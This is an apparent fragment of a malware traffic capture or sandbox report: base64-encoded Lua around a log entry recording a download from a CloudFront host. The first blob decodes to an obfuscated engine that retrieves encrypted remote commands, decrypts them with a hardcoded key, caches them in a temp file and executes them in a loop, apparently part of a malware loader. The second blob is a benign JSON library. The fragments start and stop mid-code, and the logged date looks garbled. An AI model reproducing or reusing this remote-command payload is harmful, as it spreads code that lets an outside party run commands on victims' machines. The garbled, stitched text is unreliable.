dHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gJXMgdW5zdWNjZXNz
ZnVsbHkiLG8pKTsKZW5kCmVsc2UKaWYgc1JlbW90ZURCPT1uaWwgdGhlbgpyZXR1cm4gZmFsc2U7
CmVsc2UKc1JlbW90ZURCPShFbmNyeXB0KWFuZCBFbmNyeXB0KHNSZW1vdGVEQixhKW9yIGUuZW5j
cnlwdChzUmVtb3RlREIsYSk7CmxvY2FsIHQ9SlNPTjpkZWNvZGUoc1JlbW90ZURCKTsKcmVtb3Rl
ZGJfanNvbj10OwplLmRlYnVnKCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gZXhjZXB0
aW9ucyBzdWNjZXNzZnVsbHkiKTsKZW5kCmVuZAplbmQKbG9jYWwgdDsKaWYgR2V0Q29tbWFuZHN+
PW5pbCB0aGVuCnQ9R2V0Q29tbWFuZHMoKTsKZWxzZQp0PWUucmVhZGZpbGUoc3RyaW5nLmZvcm1h
dCgiJXNscXdkYi5kYXQiLGUudGVtcHBhdGgoKSkpOwplbmQKbG9jYWwgYT0iIjsKaWYgdH49bmls
IHRoZW4KdD0oRW5jcnlwdClhbmQgRW5jcnlwdCh0LCJsYXF1YW5kYSB3YXRraW5zIilvciBlLmVu
Y3J5cHQodCwibGFxdWFuZGEgd2F0a2lucyIpOwphPUpTT046ZGVjb2RlKHQpOwplbHNlCmE9cmVt
b3RlZGJfanNvbjsKZW5kCmlmIHQ9PW5pbCB0aGVuCmlmIHR5cGUoYSk9PSJ0YWJsZSJ0aGVuCmUu
c2F2ZWRiKEpTT046ZW5jb2RlKGEpKTsKZWxzZQpyZXR1cm4gZmFsc2U7CmVuZAplbmQKbG9jYWwg
aT17fTsKaWYgYX49bmlsIGFuZCByZW1vdGVkYl9qc29ufj1uaWwgdGhlbgpmb3IgdCxlIGluIHBh
aXJzKGEpZG8KbG9jYWwgYT1mYWxzZTsKZm9yIG8sdCBpbiBwYWlycyhyZW1vdGVkYl9qc29uKWRv
CmlmIGVbImhhc2giXT09dFsiaGFzaCJddGhlbgpsb2NhbCBvPShlWyJyZXN1bHQiXX49bmlsKWFu
ZCBlWyJyZXN1bHQiXW9yIG5pbDsKaWYgZVsiZGF0ZSJdfj1uaWwgdGhlbgpsb2NhbCBhPWVbImRh
dGUiXTsKbG9jYWwgaT1lWyJzdGF0dXMiXTsKZT10OwplWyJzdGF0dXMiXT1pOwplWyJkYXRlIl09
YTsKZVsicmVzdWx0Il09bzsKZWxzZQplPXQ7CmVbInJlc3VsdCJdPW87CmVuZAphPXRydWU7CmVu
ZAplbmQKaWYgYSB0aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmZvciB0LGUgaW4gcGFp
cnMocmVtb3RlZGJfanNvbilkbwpsb2NhbCB0PWZhbHNlOwpmb3IgbyxhIGluIHBhaXJzKGEpZG8K
aWYgZVsiaGFzaCJdPT1hWyJoYXNoIl10aGVuCnQ9dHJ1ZTsKZW5kCmVuZAppZiB0PT1mYWxzZSB0
aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmE9ZS5zaGFsbG93Y29weShpKTsKaT17fTsK
ZW5kCnRhYmxlLnNvcnQoYSxmdW5jdGlvbih0LGUpcmV0dXJuIHRvbnVtYmVyKHQub3JkZXIpPHRv
bnVtYmVyKGUub3JkZXIpO2VuZCk7CmxvY2FsIHI9dHJ1ZTsKbG9jYWwgaD10cnVlOwpsb2NhbCBk
PWZhbHNlOwpsb2NhbCBsPXt9Owpsb2NhbCBvPTA7CmxvY2FsIHM9e307CmZ1bmN0aW9uIGRvR290
byhlLHQpCmZvciBhLGUgaW4gcGFpcnMoYSlkbwppZiB0PD10b251bWJlcihlWyJvcmRlciJdKXRo
ZW4KZVsic3RhdHVzIl09IjAiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uaWw7
CmVsc2VpZiB0PnRvbnVtYmVyKGVbIm9yZGVyIl0pdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRh
dGUiXT1vcy50aW1lKCk7CmVuZAplbmQKZW5kCndoaWxlKGgpZG8KaT17fTsKaD1mYWxzZTsKZm9y
IHUsdCBpbiBwYWlycyhhKWRvCmlmIG8+MCB0aGVuCmRvR290byhhLG8pOwppZiBvPT10b251bWJl
cih0WyJvcmRlciJdKXRoZW4Kbz0wOwplbHNlCnRbInN0YXR1cyJdPSIxIjsKZW5kCmVuZApsb2Nh
bCB1PSh0WyJzdGF0dXMiXX49bmlsKWFuZCB0WyJzdGF0dXMiXW9yIjAiOwplLmRlYnVnKHN0cmlu
Zy5mb3JtYXQoIiMlcy0lcy4gJXMgJXMgU3RhdHVzOiAlcyBMb29wOiAlcyBHbzogJXMiLHRbIm9y
ZGVyIl0sbyx0WyJ0eHRjbWQiXSx0WyJ0eHRkbyJdLHUsdG9zdHJpbmcociksdG9zdHJpbmcoaCkp
KTsKaWYgdT09IjAiYW5kIHIgdGhlbgplLmRlYnVnKCJJbnNpZGUgTWFpbiBMb29wIik7CmlmIHRb
InR4dGRvIl09PSJHb3RvInRoZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJHb3RvIGNvbW1hbmQ6
ICVzIix0WyJ0eHRXaGF0Il0pKTsKbG9jYWwgZT10b251bWJlcih0WyJ0eHRXaGF0Il0pOwppZiBl
PjAgdGhlbgpkb0dvdG8oYSxlKTsKZG9Hb3RvKGksZSk7Cm89ZTsKZW5kCmVsc2UKZS5zZXRyZXN1
bHRzKGwpOwp0LGQ9ZS5jb21tYW5kKHQpOwppZiB0WyJ0eHRjbWQiXT09IklmInRoZW4KaWYgdFsi
dHh0V2hhdFRoZW4iXT09IkdvdG8ib3IgdFsidHh0V2hhdEVsc2UiXT09IkdvdG8idGhlbgpsb2Nh
bCBuPWUuc3BsaXQodFsidHh0R290byJdLCIsIik7CmxvY2FsIHM9KG5bMV1+PW5pbClhbmQgdG9u
dW1iZXIoblsxXSlvciAwOwpsb2NhbCBuPShuWzJdfj1uaWwpYW5kIHRvbnVtYmVyKG5bMl0pb3Ig
MDsKbG9jYWwgdD0odFsicmVzdWx0Il09PSIxIilhbmQgcyBvciBuOwppZiB0PjAgdGhlbgplLmRl
YnVnKHN0cmluZy5mb3JtYXQoIkdvdG8gQ29tbWFuZDogIyVzIix0KSk7CmRvR290byhhLHQpOwpk
b0dvdG8oaSx0KTsKbz10OwplbmQKZW5kCmVuZAplbmQKaWYgZD09dHJ1ZSB0aGVuCmQ9ZmFsc2U7
CnI9dHJ1ZTsKZWxzZQpyPWZhbHNlOwplbmQKZW5kCmlmIHRbInJlc3VsdCJdfj1uaWwgdGhlbgps
W3RbIm9yZGVyIl1dPXRbInJlc3VsdCJdOwplbHNlCmxbdFsib3JkZXIiXV09IiI7CmVuZAppZiBv
PjAgdGhlbgpoPXRydWU7CnNbb109KHNbb10pYW5kIHNbb10rMSBvciAxOwppZiBzW29dPjIwIHRo
ZW4Kbj1uLTk5OTk5OwplLmRlYnVnKHN0cmluZy5mb3JtYXQoIkxvb3AgT3ZlcmZsb3c6ICVzICVz
ICVzOiVzIixvcy50aW1lKCksbixvLHNbb10pKTsKU2V0VGltZUxhc3RDbWQoMCk7CmJyZWFrOwpl
bmQKZW5kCnRhYmxlLmluc2VydChpLHQpOwplbmQKaWYgR2V0VGltZUxhc3RDbWQgdGhlbgppZiBo
IGFuZCBHZXRUaW1lTGFzdENtZCgpPjAgdGhlbgpyPXRydWU7CmVuZAplbmQKZS5zYXZlZGIoSlNP
TjplbmNvZGUoaSkpOwphPWUuc2hhbGxvd2NvcHkoaSk7CmVuZApyZXR1cm4gYzs=
|
d3b8bjraovjdbz.cloudfront.net (54.230.94.193:80) | ||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ID | URI | RESPONSE TYPE | FILENAME | RESPONSE CODE | MAGIC | SIZE | TIME | |||||||||||||||
11 | /v2/tfn5306351516.html(10) | text/html | tfn5306351516.html(10) | 200 OK | TEXT | 46.2 KB | 11/11/43 04:53:22 | |||||||||||||||
IyEvdXNyL2Jpbi9lbnYgbHVhCnBhY2thZ2UucHJlbG9hZFsnSlNPTiddPShmdW5jdGlvbiguLi4p
CmxvY2FsIGU9MjAxNDA0MTguMTEKbG9jYWwgdD17VkVSU0lPTj1lfQpsb2NhbCBlPSItWyBKU09O
Lmx1YSBwYWNrYWdlIGJ5IEplZmZyZXkgRnJpZWRsIChodHRwOi8vcmVnZXguaW5mby9ibG9nL2x1
YS9qc29uKSwgdmVyc2lvbiAiLi50b3N0cmluZyhlKS4uIiBdLSIKbG9jYWwgYT17X190b3N0cmlu
Zz1mdW5jdGlvbigpcmV0dXJuIkpTT04gYXJyYXkiZW5kfWEuX19pbmRleD1hCmxvY2FsIGU9e19f
dG9zdHJpbmc9ZnVuY3Rpb24oKXJldHVybiJKU09OIG9iamVjdCJlbmR9ZS5fX2luZGV4PWUKZnVu
Y3Rpb24gdDpuZXdBcnJheShlKQpyZXR1cm4gc2V0bWV0YXRhYmxlKGUgb3J7fSxhKQplbmQKZnVu
Y3Rpb24gdDpuZXdPYmplY3QodCkKcmV0dXJuIHNldG1ldGF0YWJsZSh0IG9ye30sZSkKZW5kCmxv
Y2FsIGZ1bmN0aW9uIHIoZSkKaWYgZTw9MTI3IHRoZW4KcmV0dXJuIHN0cmluZy5jaGFyKGUpCmVs
c2VpZiBlPD0yMDQ3IHRoZW4KbG9jYWwgdD1tYXRoLmZsb29yKGUvNjQpCmxvY2FsIGU9ZS0oNjQq
dCkKcmV0dXJuIHN0cmluZy5jaGFyKDE5Mit0LAoxMjgrZSkKZWxzZWlmIGU8PTY1NTM1IHRoZW4K
bG9jYWwgdD1tYXRoLmZsb29yKGUvNDA5NikKbG9jYWwgYT1lLTQwOTYqdApsb2NhbCBlPW1hdGgu
Zmxvb3IoYS82NCkKbG9jYWwgYT1hLTY0KmUKdD0yMjQrdAplPTEyOCtlCmE9MTI4K2EKaWYodD09
MjI0IGFuZCBlPDE2MClvcgoodD09MjM3IGFuZCBlPjE1OSlvcgoodD09MjQwIGFuZCBlPDE0NClv
cgoodD09MjQ0IGFuZCBlPjE0MykKdGhlbgpyZXR1cm4iPyIKZWxzZQpyZXR1cm4gc3RyaW5nLmNo
YXIodCwKZSwKYSkKZW5kCmVsc2UKbG9jYWwgdD1tYXRoLmZsb29yKGUvMjYyMTQ0KQpsb2NhbCBl
PWUtMjYyMTQ0KnQKbG9jYWwgYT1tYXRoLmZsb29yKGUvNDA5NikKZT1lLTQwOTYqYQpsb2NhbCBv
PW1hdGguZmxvb3IoZS82NCkKbG9jYWwgZT1lLTY0Km8KcmV0dXJuIHN0cmluZy5jaGFyKDI0MCt0
LAoxMjgrYSwKMTI4K28sCjEyOCtlKQplbmQKZW5kCmZ1bmN0aW9uIHQ6b25EZWNvZGVFcnJvcihl
LGEsaSxvKQppZiBhIHRoZW4KaWYgaSB0aGVuCmU9c3RyaW5nLmZvcm1hdCgiJXMgYXQgY2hhciAl
ZCBvZjogJXMiLGUsaSxhKQplbHNlCmU9c3RyaW5nLmZvcm1hdCgiJXM6ICVzIixlLGEpCmVuZApl
bmQKaWYgb349bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShvKS4uIikiCmVuZAppZiBzZWxm
LmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVu
ZAplbmQKdC5vbkRlY29kZU9mTmlsRXJyb3I9dC5vbkRlY29kZUVycm9yCnQub25EZWNvZGVPZkhU
TUxFcnJvcj10Lm9uRGVjb2RlRXJyb3IKZnVuY3Rpb24gdDpvbkVuY29kZUVycm9yKGUsYSkKaWYg
YX49bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShhKS4uIikiCmVuZAppZiBzZWxmLmFzc2Vy
dCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVuZAplbmQK
bG9jYWwgZnVuY3Rpb24gbChuLHQsYSxpKQpsb2NhbCBvPXQ6bWF0Y2goJ14tP1sxLTldJWQqJyxh
KQpvciB0Om1hdGNoKCJeLT8wIixhKQppZiBub3QgbyB0aGVuCm46b25EZWNvZGVFcnJvcigiZXhw
ZWN0ZWQgbnVtYmVyIix0LGEsaSkKZW5kCmxvY2FsIGU9YStvOmxlbigpCmxvY2FsIHM9dDptYXRj
aCgnXiUuJWQrJyxlKW9yIiIKZT1lK3M6bGVuKCkKbG9jYWwgaD10Om1hdGNoKCdeW2VFXVstK10/
JWQrJyxlKW9yIiIKZT1lK2g6bGVuKCkKbG9jYWwgbz1vLi5zLi5oCmxvY2FsIG89dG9udW1iZXIo
bykKaWYgbm90IG8gdGhlbgpuOm9uRGVjb2RlRXJyb3IoImJhZCBudW1iZXIiLHQsYSxpKQplbmQK
cmV0dXJuIG8sZQplbmQKbG9jYWwgZnVuY3Rpb24gZChuLGEsaSxzKQppZiBhOnN1YihpLGkpfj0n
Iid0aGVuCm46b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgc3RyaW5nJ3Mgb3BlbmluZyBxdW90ZSIs
YSxpLHMpCmVuZApsb2NhbCBlPWkrMQpsb2NhbCBvPWE6bGVuKCkKbG9jYWwgdD0iIgp3aGlsZSBl
PD1vIGRvCmxvY2FsIG89YTpzdWIoZSxlKQppZiBvPT0nIid0aGVuCnJldHVybiB0LGUrMQplbmQK
aWYgb349J1xcJ3RoZW4KdD10Li5vCmU9ZSsxCmVsc2VpZiBhOm1hdGNoKCdeXFxiJyxlKXRoZW4K
dD10Li4iXGIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxmJyxlKXRoZW4KdD10Li4iXGYiCmU9
ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxuJyxlKXRoZW4KdD10Li4iXG4iCmU9ZSsyCmVsc2VpZiBh
Om1hdGNoKCdeXFxyJyxlKXRoZW4KdD10Li4iXHIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFx0
JyxlKXRoZW4KdD10Li4iXHQiCmU9ZSsyCmVsc2UKbG9jYWwgbz1hOm1hdGNoKCdeXFx1KFswMTIz
NDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFi
QmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIG8gdGhlbgplPWUrNgps
b2NhbCBvPXRvbnVtYmVyKG8sMTYpCmlmIG8+PTU1Mjk2IGFuZCBvPD01NjMxOSB0aGVuCmxvY2Fs
IHQ9YTptYXRjaCgnXlxcdShbZERdW2NkZWZDREVGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVsw
MTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIHQgdGhlbgplPWUrNgpvPTkyMTYrKG8tNTUy
OTYpKjEwMjQrdG9udW1iZXIodCwxNikKZWxzZQplbmQKZW5kCnQ9dC4ucihvKQplbHNlCnQ9dC4u
YTptYXRjaCgnXlxcKC4pJyxlKQplPWUrMgplbmQKZW5kCmVuZApuOm9uRGVjb2RlRXJyb3IoInVu
Y2xvc2VkIHN0cmluZyIsYSxpLHMpCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUsdCkKbG9jYWwgYSxl
PWU6ZmluZCgiXlsgXG5cclx0XSsiLHQpCmlmIGUgdGhlbgpyZXR1cm4gZSsxCmVsc2UKcmV0dXJu
IHQKZW5kCmVuZApsb2NhbCBzCmxvY2FsIGZ1bmN0aW9uIHUobyx0LGksbikKaWYgbm90IHQ6c3Vi
KGksaSk9PSd7J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCAneyciLHQsaSxuKQplbmQK
bG9jYWwgZT1hKHQsaSsxKQpsb2NhbCBoPW8uc3RyaWN0VHlwZXMgYW5kIG86bmV3T2JqZWN0e31v
cnt9CmlmIHQ6c3ViKGUsZSk9PSd9J3RoZW4KcmV0dXJuIGgsZSsxCmVuZApsb2NhbCByPXQ6bGVu
KCkKd2hpbGUgZTw9ciBkbwpsb2NhbCByLGk9ZChvLHQsZSxuKQplPWEodCxpKQppZiB0OnN1Yihl
LGUpfj0nOid0aGVuCm86b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgY29sb24iLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQpsb2NhbCBpLHM9cyhvLHQsZSkKaFtyXT1pCmU9YSh0LHMpCmxvY2FsIGk9dDpz
dWIoZSxlKQppZiBpPT0nfSd0aGVuCnJldHVybiBoLGUrMQplbmQKaWYgdDpzdWIoZSxlKX49Jywn
dGhlbgpvOm9uRGVjb2RlRXJyb3IoImV4cGVjdGVkIGNvbW1hIG9yICd9JyIsdCxlLG4pCmVuZApl
PWEodCxlKzEpCmVuZApvOm9uRGVjb2RlRXJyb3IoInVuY2xvc2VkICd7JyIsdCxpLG4pCmVuZAps
b2NhbCBmdW5jdGlvbiBjKG8sdCxpLG4pCmlmIG5vdCB0OnN1YihpLGkpPT0nWyd0aGVuCm86b25E
ZWNvZGVFcnJvcigiZXhwZWN0ZWQgJ1snIix0LGksbikKZW5kCmxvY2FsIGU9YSh0LGkrMSkKbG9j
YWwgcj1vLnN0cmljdFR5cGVzIGFuZCBvOm5ld0FycmF5e31vcnt9CmlmIHQ6c3ViKGUsZSk9PSdd
J3RoZW4KcmV0dXJuIHIsZSsxCmVuZApsb2NhbCBoPTEKbG9jYWwgZD10OmxlbigpCndoaWxlIGU8
PWQgZG8KbG9jYWwgcyxpPXMobyx0LGUpCnJbaF09cwpoPWgrMQplPWEodCxpKQpsb2NhbCBpPXQ6
c3ViKGUsZSkKaWYgaT09J10ndGhlbgpyZXR1cm4gcixlKzEKZW5kCmlmIHQ6c3ViKGUsZSl+PScs
J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCBjb21tYSBvciAnWyciLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQplbmQKbzpvbkRlY29kZUVycm9yKCJ1bmNsb3NlZCAnWyciLHQsaSxuKQplbmQK
cz1mdW5jdGlvbihpLHQsZSxvKQplPWEodCxlKQppZiBlPnQ6bGVuKCl0aGVuCmk6b25EZWNvZGVF
cnJvcigidW5leHBlY3RlZCBlbmQgb2Ygc3RyaW5nIix0LG5pbCxvKQplbmQKaWYgdDpmaW5kKCde
IicsZSl0aGVuCnJldHVybiBkKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ15bLTAxMjM0NTY3ODkg
XScsZSl0aGVuCnJldHVybiBsKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14leycsZSl0aGVuCnJl
dHVybiB1KGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14lWycsZSl0aGVuCnJldHVybiBjKGksdCxl
LG8pCmVsc2VpZiB0OmZpbmQoJ150cnVlJyxlKXRoZW4KcmV0dXJuIHRydWUsZSs0CmVsc2VpZiB0
OmZpbmQoJ15mYWxzZScsZSl0aGVuCnJldHVybiBmYWxzZSxlKzUKZWxzZWlmIHQ6ZmluZCgnXm51
bGwnLGUpdGhlbgpyZXR1cm4gbmlsLGUrNAplbHNlCmk6b25EZWNvZGVFcnJvcigiY2FuJ3QgcGFy
c2UgSlNPTiIsdCxlLG8pCmVuZAplbmQKZnVuY3Rpb24gdDpkZWNvZGUoZSxhKQppZiB0eXBlKHNl
bGYpfj0ndGFibGUnb3Igc2VsZi5fX2luZGV4fj10IHRoZW4KdDpvbkRlY29kZUVycm9yKCJKU09O
OmRlY29kZSBtdXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixuaWwsbmlsLGEpCmVuZApp
ZiBlPT1uaWwgdGhlbgpzZWxmOm9uRGVjb2RlT2ZOaWxFcnJvcihzdHJpbmcuZm9ybWF0KCJuaWwg
cGFzc2VkIHRvIEpTT046ZGVjb2RlKCkiKSxuaWwsbmlsLGEpCmVsc2VpZiB0eXBlKGUpfj0nc3Ry
aW5nJ3RoZW4Kc2VsZjpvbkRlY29kZUVycm9yKHN0cmluZy5mb3JtYXQoImV4cGVjdGVkIHN0cmlu
ZyBhcmd1bWVudCB0byBKU09OOmRlY29kZSgpLCBnb3QgJXMiLHR5cGUoZSkpLG5pbCxuaWwsYSkK
ZW5kCmlmIGU6bWF0Y2goJ14lcyokJyl0aGVuCnJldHVybiBuaWwKZW5kCmlmIGU6bWF0Y2goJ14l
cyo8Jyl0aGVuCnNlbGY6b25EZWNvZGVPZkhUTUxFcnJvcihzdHJpbmcuZm9ybWF0KCJodG1sIHBh
c3NlZCB0byBKU09OOmRlY29kZSgpIiksZSxuaWwsYSkKZW5kCmlmIGU6c3ViKDEsMSk6Ynl0ZSgp
PT0wIG9yKGU6bGVuKCk+PTIgYW5kIGU6c3ViKDIsMik6Ynl0ZSgpPT0wKXRoZW4Kc2VsZjpvbkRl
Y29kZUVycm9yKCJKU09OIHBhY2thZ2UgZ3Jva3Mgb25seSBVVEYtOCwgc29ycnkiLGUsbmlsLGEp
CmVuZApsb2NhbCB0LGU9cGNhbGwocyxzZWxmLGUsMSxhKQppZiB0IHRoZW4KcmV0dXJuIGUKZWxz
ZQppZiBzZWxmLmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZh
bHNlLGUpCmVuZApyZXR1cm4gbmlsLGUKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUpCmlmIGU9
PSJcbiJ0aGVuCnJldHVybiJcXG4iCmVsc2VpZiBlPT0iXHIidGhlbgpyZXR1cm4iXFxyIgplbHNl
aWYgZT09Ilx0InRoZW4KcmV0dXJuIlxcdCIKZWxzZWlmIGU9PSJcYiJ0aGVuCnJldHVybiJcXGIi
CmVsc2VpZiBlPT0iXGYidGhlbgpyZXR1cm4iXFxmIgplbHNlaWYgZT09JyIndGhlbgpyZXR1cm4n
XFwiJwplbHNlaWYgZT09J1xcJ3RoZW4KcmV0dXJuJ1xcXFwnCmVsc2UKcmV0dXJuIHN0cmluZy5m
b3JtYXQoIlxcdSUwNHgiLGU6Ynl0ZSgpKQplbmQKZW5kCmxvY2FsIGUKPSdbJwouLiciJwouLicl
XFwnCi4uJyV6JwouLidcMDAxJy4uJy0nLi4nXDAzMScKLi4nXScKbG9jYWwgZnVuY3Rpb24gZCh0
KQpsb2NhbCBlPXQ6Z3N1YihlLGEpCnJldHVybiciJy4uZS4uJyInCmVuZApsb2NhbCBmdW5jdGlv
biByKG4sYSxzKQpsb2NhbCBvPXt9CmxvY2FsIHQ9e30KbG9jYWwgaD1mYWxzZQpsb2NhbCBpCmZv
ciBlIGluIHBhaXJzKGEpZG8KaWYgdHlwZShlKT09J3N0cmluZyd0aGVuCnRhYmxlLmluc2VydChv
LGUpCmVsc2VpZiB0eXBlKGUpPT0nbnVtYmVyJ3RoZW4KdGFibGUuaW5zZXJ0KHQsZSkKaWYgZTw9
MCBvciBlPj1tYXRoLmh1Z2UgdGhlbgpoPXRydWUKZWxzZWlmIG5vdCBpIG9yIGU+aSB0aGVuCmk9
ZQplbmQKZWxzZQpuOm9uRW5jb2RlRXJyb3IoImNhbid0IGVuY29kZSB0YWJsZSB3aXRoIGEga2V5
IG9mIHR5cGUgIi4udHlwZShlKSxzKQplbmQKZW5kCmlmI289PTAgYW5kIG5vdCBoIHRoZW4KaWYj
dD4wIHRoZW4KcmV0dXJuIG5pbCxpCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gYXJyYXkidGhl
bgpyZXR1cm4gbmlsCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gb2JqZWN0InRoZW4KcmV0dXJu
e30KZWxzZQpyZXR1cm4gbmlsCmVuZAplbmQKdGFibGUuc29ydChvKQpsb2NhbCBlCmlmI3Q+MCB0
aGVuCmlmIEpTT04ubm9LZXlDb252ZXJzaW9uIHRoZW4KbjpvbkVuY29kZUVycm9yKCJhIHRhYmxl
IHdpdGggYm90aCBudW1lcmljIGFuZCBzdHJpbmcga2V5cyBjb3VsZCBiZSBhbiBvYmplY3Qgb3Ig
YXJyYXk7IGFib3J0aW5nIixzKQplbmQKZT17fQpmb3IgdCxhIGluIHBhaXJzKGEpZG8KZVt0XT1h
CmVuZAp0YWJsZS5zb3J0KHQpCmZvciB0LGkgaW4gaXBhaXJzKHQpZG8KbG9jYWwgdD10b3N0cmlu
ZyhpKQppZiBlW3RdPT1uaWwgdGhlbgp0YWJsZS5pbnNlcnQobyx0KQplW3RdPWFbaV0KZWxzZQpu
Om9uRW5jb2RlRXJyb3IoImNvbmZsaWN0IGNvbnZlcnRpbmcgdGFibGUgd2l0aCBtaXhlZC10eXBl
IGtleXMgaW50byBhIEpTT04gb2JqZWN0OiBrZXkgIi4uaS4uIiBleGlzdHMgYm90aCBhcyBhIHN0
cmluZyBhbmQgYSBudW1iZXIuIixzKQplbmQKZW5kCmVuZApyZXR1cm4gbyxuaWwsZQplbmQKbG9j
YWwgYQpmdW5jdGlvbiBhKHQsZSxpLG8sbikKaWYgZT09bmlsIHRoZW4KcmV0dXJuJ251bGwnCmVs
c2VpZiB0eXBlKGUpPT0nc3RyaW5nJ3RoZW4KcmV0dXJuIGQoZSkKZWxzZWlmIHR5cGUoZSk9PSdu
dW1iZXIndGhlbgppZiBlfj1lIHRoZW4KcmV0dXJuIm51bGwiCmVsc2VpZiBlPj1tYXRoLmh1Z2Ug
dGhlbgpyZXR1cm4iMWUrOTk5OSIKZWxzZWlmIGU8PS1tYXRoLmh1Z2UgdGhlbgpyZXR1cm4iLTFl
Kzk5OTkiCmVsc2UKcmV0dXJuIHRvc3RyaW5nKGUpCmVuZAplbHNlaWYgdHlwZShlKT09J2Jvb2xl
YW4ndGhlbgpyZXR1cm4gdG9zdHJpbmcoZSkKZWxzZWlmIHR5cGUoZSl+PSd0YWJsZSd0aGVuCnQ6
b25FbmNvZGVFcnJvcigiY2FuJ3QgY29udmVydCAiLi50eXBlKGUpLi4iIHRvIEpTT04iLG8pCmVs
c2UKbG9jYWwgZT1lCmlmIGlbZV10aGVuCnQ6b25FbmNvZGVFcnJvcigidGFibGUgIi4udG9zdHJp
bmcoZSkuLiIgaXMgYSBjaGlsZCBvZiBpdHNlbGYiLG8pCmVsc2UKaVtlXT10cnVlCmVuZApsb2Nh
bCBzCmxvY2FsIGgscixkPXIodCxlLG8pCmlmIHIgdGhlbgpsb2NhbCBoPXt9CmZvciBzPTEsciBk
bwp0YWJsZS5pbnNlcnQoaCxhKHQsZVtzXSxpLG8sbikpCmVuZAppZiBuIHRoZW4Kcz0iWyAiLi50
YWJsZS5jb25jYXQoaCwiLCAiKS4uIiBdIgplbHNlCnM9IlsiLi50YWJsZS5jb25jYXQoaCwiLCIp
Li4iXSIKZW5kCmVsc2VpZiBoIHRoZW4KbG9jYWwgZD1kIG9yIGUKaWYgbiB0aGVuCmxvY2FsIHI9
e30KbG9jYWwgZT0wCmZvciBzLG4gaW4gaXBhaXJzKGgpZG8KbG9jYWwgdD1hKHQsdG9zdHJpbmco
biksaSxvLCIiKQplPW1hdGgubWF4KGUsI3QpCnRhYmxlLmluc2VydChyLHQpCmVuZApsb2NhbCB1
PW4uLiIgICAgIgpsb2NhbCBsPW4uLnN0cmluZy5yZXAoIiAiLGUrMis0KQpsb2NhbCBjPSIlcyUi
Li5zdHJpbmcuZm9ybWF0KCIlZCIsZSkuLiJzOiAlcyIKbG9jYWwgZT17fQpmb3IgaCxuIGluIGlw
YWlycyhoKWRvCmxvY2FsIHQ9YSh0LGRbbl0saSxvLGwpCnRhYmxlLmluc2VydChlLHN0cmluZy5m
b3JtYXQoYyx1LHJbaF0sdCkpCmVuZApzPSJ7XG4iLi50YWJsZS5jb25jYXQoZSwiLFxuIikuLiJc
biIuLm4uLiJ9IgplbHNlCmxvY2FsIHI9e30KZm9yIGgsZSBpbiBpcGFpcnMoaClkbwpsb2NhbCBz
PWEodCxkW2VdLGksbyxuKQpsb2NhbCBlPWEodCx0b3N0cmluZyhlKSxpLG8sbikKdGFibGUuaW5z
ZXJ0KHIsc3RyaW5nLmZvcm1hdCgiJXM6JXMiLGUscykpCmVuZApzPSJ7Ii4udGFibGUuY29uY2F0
KHIsIiwiKS4uIn0iCmVuZAplbHNlCnM9IltdIgplbmQKaVtlXT1mYWxzZQpyZXR1cm4gcwplbmQK
ZW5kCmZ1bmN0aW9uIHQ6ZW5jb2RlKG8sZSkKaWYgdHlwZShzZWxmKX49J3RhYmxlJ29yIHNlbGYu
X19pbmRleH49dCB0aGVuCnQ6b25FbmNvZGVFcnJvcigiSlNPTjplbmNvZGUgbXVzdCBiZSBjYWxs
ZWQgaW4gbWV0aG9kIGZvcm1hdCIsZSkKZW5kCnJldHVybiBhKHNlbGYsbyx7fSxlLG5pbCkKZW5k
CmZ1bmN0aW9uIHQ6ZW5jb2RlX3ByZXR0eShvLGUpCmlmIHR5cGUoc2VsZil+PSd0YWJsZSdvciBz
ZWxmLl9faW5kZXh+PXQgdGhlbgp0Om9uRW5jb2RlRXJyb3IoIkpTT046ZW5jb2RlX3ByZXR0eSBt
dXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixlKQplbmQKcmV0dXJuIGEoc2VsZixvLHt9
LGUsIiIpCmVuZApmdW5jdGlvbiB0Ll9fdG9zdHJpbmcoKQpyZXR1cm4iSlNPTiBlbmNvZGUvZGVj
